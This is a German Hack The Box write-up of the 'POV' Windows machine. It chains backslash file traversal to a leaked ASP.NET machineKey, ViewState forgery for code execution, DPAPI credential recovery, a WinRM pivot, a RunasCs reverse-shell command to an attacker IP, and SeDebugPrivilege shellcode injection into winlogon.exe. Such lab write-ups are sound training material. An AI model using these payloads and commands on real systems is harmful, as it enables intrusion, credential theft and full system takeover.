← Zurück zu Machines

HTB · published

POV

Hack The Box CPTS-Track Writeup für POV: ASP.NET Arbitrary File Read, machineKey Disclosure, ViewState Forgery, DPAPI Credential Recovery, WinRM Pivot und SeDebugPrivilege zu SYSTEM.

HTBCPTSWriteupWindowsASP.NETViewStateDPAPISeDebugPrivilegeMachine

Metadaten

  • Name: POV
  • IP Address: 10.129.230.183
  • Plattform: Windows
  • Kategorie: ASP.NET / ViewState / DPAPI / WinRM / SeDebugPrivilege
  • Schwierigkeit: Medium
  • Ziel(e): User, Root / SYSTEM
  • Kurzbeschreibung: POV ist ein Windows-IIS-Ziel mit einer öffentlichen Webseite und einem ASP.NET-Development-vHost. Eine CV-Download-Funktion erlaubt Windows-Backslash-Traversal und leakt die übergeordnete web.config inklusive statischer machineKey-Werte. Damit lässt sich ein verschlüsseltes ViewState-Payload fälschen und Code als pov\sfitz ausführen. Ein DPAPI-geschütztes PSCredential führt zu alaading; dessen SeDebugPrivilege ermöglicht SYSTEM-Codeausführung durch Injection in winlogon.exe.

Executive Summary

Der initiale Einstieg entstand über dev.pov.htb. Die Portfolio-Anwendung hatte eine Datei-Download-Funktion für cv.pdf. Durch Windows-Backslash-Traversal konnte ..\web.config gelesen werden. Die Datei enthielt statische ASP.NET-machineKey-Werte:

validation="SHA1"
decryption="AES"

Mit diesen Keys wurde ein verschlüsselter und signierter ViewState erzeugt, der einen LosFormatter-Deserialization-Payload enthielt. Das lieferte eine Reverse Shell als pov\sfitz.

In sfitz’ Dokumenten lag ein DPAPI-geschütztes PSCredential, das im Kontext von sfitz entschlüsselt werden konnte:

alaading / f8gQ8fynP44ek1m3

Über internes WinRM wurde zu alaading gewechselt und die User-Flag gelesen. Für Root wurde ein voller lokaler alaading-Prozess mit RunasCs gestartet. alaading besaß SeDebugPrivilege; ein eigener Injector schrieb x64-Reverse-Shellcode in winlogon.exe und erzeugte eine SYSTEM-Shell.

Flags:

  • User: 5e63c[REDACTED-USER-FLAG]aa03
  • Root: a7bda[REDACTED-ROOT-FLAG]6839

Reconnaissance / Enumeration

ICMP zeigte mit TTL 127 ein Windows-Ziel.

Der relevante TCP-Scan fand nur IIS:

80/tcp open http Microsoft IIS httpd 10.0

UDP Top-Port-Sampling fand keinen bestätigten offenen Dienst.

Die öffentliche Seite zeigte Hinweise auf:

pov.htb
dev.pov.htb
sfitz@pov.htb

Der Development-vHost wurde lokal aufgelöst und leitete weiter:

http://dev.pov.htb/portfolio/

ASP.NET Arbitrary File Read

Die Portfolio-Seite enthielt eine CV-Download-Funktion:

<input type="hidden" name="file" id="file" value="cv.pdf" />

Ein legitimer Download von cv.pdf wurde reproduziert. Danach wurde Traversal getestet.

Forward-Slash-Traversal wurde verworfen, aber Windows-Backslashes funktionierten:

file=..\web.config

Dadurch wurde die übergeordnete ASP.NET-Konfiguration gelesen.

Die wichtigsten Werte:

validation="SHA1"
decryption="AES"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"

Damit war ViewState-Forgery möglich.

ViewState Forgery

Die Anwendung verwendete verschlüsselten ASP.NET ViewState. Ein lokaler Helper reproduzierte die .NET-4.5-SP800-108-Ableitung, AES-CBC-Verschlüsselung und HMAC-SHA1-Signatur.

Relevante ViewState-Kontexte:

TemplateSourceDirectory: /PORTFOLIO
Type: PORTFOLIO_DEFAULT_ASPX

Der Payload wurde mit einem LosFormatter-Gadget erzeugt und mit den geleakten Keys geschützt. Ein HTTP-Callback bestätigte zunächst Code Execution; danach wurde auf eine PowerShell-Reverse-Shell gewechselt.

Initiale Identität:

pov\sfitz

Foothold

Die ViewState-RCE lieferte eine Shell als sfitz.

Wichtige Erkenntnis: Externe SMB-/WinRM-Ports waren gefiltert, intern aber erreichbar. Daher war der nächste Schritt lokale Credential Recovery.

Credential Recovery: DPAPI PSCredential

In den Dokumenten von sfitz lag:

C:\Users\sfitz\Documents\connection.xml

Die Datei war ein DPAPI-geschützter PowerShell-Credential-Export. Da die Shell im Kontext von sfitz lief, konnte PowerShell die Datei entschlüsseln:

$cred = Import-Clixml C:\Users\sfitz\Documents\connection.xml
$cred.UserName
$cred.GetNetworkCredential().Password

Gefundene Credentials:

alaading / f8gQ8fynP44ek1m3

Lateral Movement zu alaading

Internes WinRM auf localhost:5985 akzeptierte die Credentials:

Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
    whoami
    Get-Content C:\Users\alaading\Desktop\user.txt
    whoami /priv
}

Ergebnis:

pov\alaading
SeDebugPrivilege    Debug programs    Disabled

User Flag

Get-Content C:\Users\alaading\Desktop\user.txt
5e63c[REDACTED-USER-FLAG]aa03

Privilege Escalation Enumeration

Die WinRM-Session lieferte nur einen gefilterten lokalen Token. Deshalb wurde mit RunasCs.exe und dem bekannten Passwort ein voller lokaler Prozess als alaading erzeugt:

RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.15.109:6666

Mimikatz wurde zur Verifikation genutzt:

privilege::debug
Privilege '20' OK

token::elevate
SID name  : NT AUTHORITY\SYSTEM

Damit war klar: SeDebugPrivilege lässt sich aktivieren und ein SYSTEM-Token ist erreichbar.

Privilege Escalation: SeDebug Injection

Für eine direkte SYSTEM-Shell wurde ein eigener Injector verwendet:

sedebug_inject.exe system_shellcode.bin

Der Injector:

  1. aktivierte SeDebugPrivilege,
  2. suchte winlogon.exe,
  3. allozierte ausführbaren Speicher im Zielprozess,
  4. schrieb x64-Reverse-Shellcode,
  5. startete den Payload via CreateRemoteThread.

Ergebnis:

injected 460 bytes into winlogon.exe pid 556
nt authority\system

Root Flag

type C:\Users\Administrator\Desktop\root.txt
a7bda[REDACTED-ROOT-FLAG]6839

Post-Exploitation

  • Foothold: ASP.NET ViewState Forgery über geleakte machineKey-Werte.
  • Initial User: pov\sfitz.
  • Credential Recovery: DPAPI PSCredential aus connection.xml.
  • User Pivot: WinRM zu pov\alaading.
  • User-Flag: C:\Users\alaading\Desktop\user.txt.
  • Root: SeDebugPrivilege + Injection in winlogon.exe.
  • Root-Flag: C:\Users\Administrator\Desktop\root.txt.
  • Cleanup: Übertragene Binaries, Shellcode, Proof-Dateien und temporäre Source-Files wurden aus C:\Users\Public und C:\Windows\Temp entfernt.

Lessons Learned

  • Windows-Pfade separat testen: Datei-Download-Kontrollen können / filtern, aber \ akzeptieren.
  • machineKey ist kritisch: Static ASP.NET machineKey-Werte machen aus File Read schnell vertrauenswürdige ViewState-Forgery.
  • DPAPI schützt kontextabhängig: Wenn Code im exportierenden Benutzerkontext läuft, können PSCredential-Exports entschlüsselt werden.
  • WinRM-Token prüfen: Lokale Accounts können gefilterte Tokens bekommen; effektive Privileges im echten Ausführungskontext zählen.
  • SeDebugPrivilege ist stark: Mit Debug-Rechten kann SYSTEM-Codeausführung über geeignete Prozesse wie winlogon.exe erreicht werden.

Notizen

  • Der lokale Python-Protector wurde genutzt, weil Mono im gewählten Setup nicht alle benötigten Windows/WPF-Assemblies für einen kompatiblen ViewState-Flow bereitstellte.
  • Mimikatz diente nur als Verifikationshilfe; der finale SYSTEM-Weg war direkter Shellcode-Injection-Code.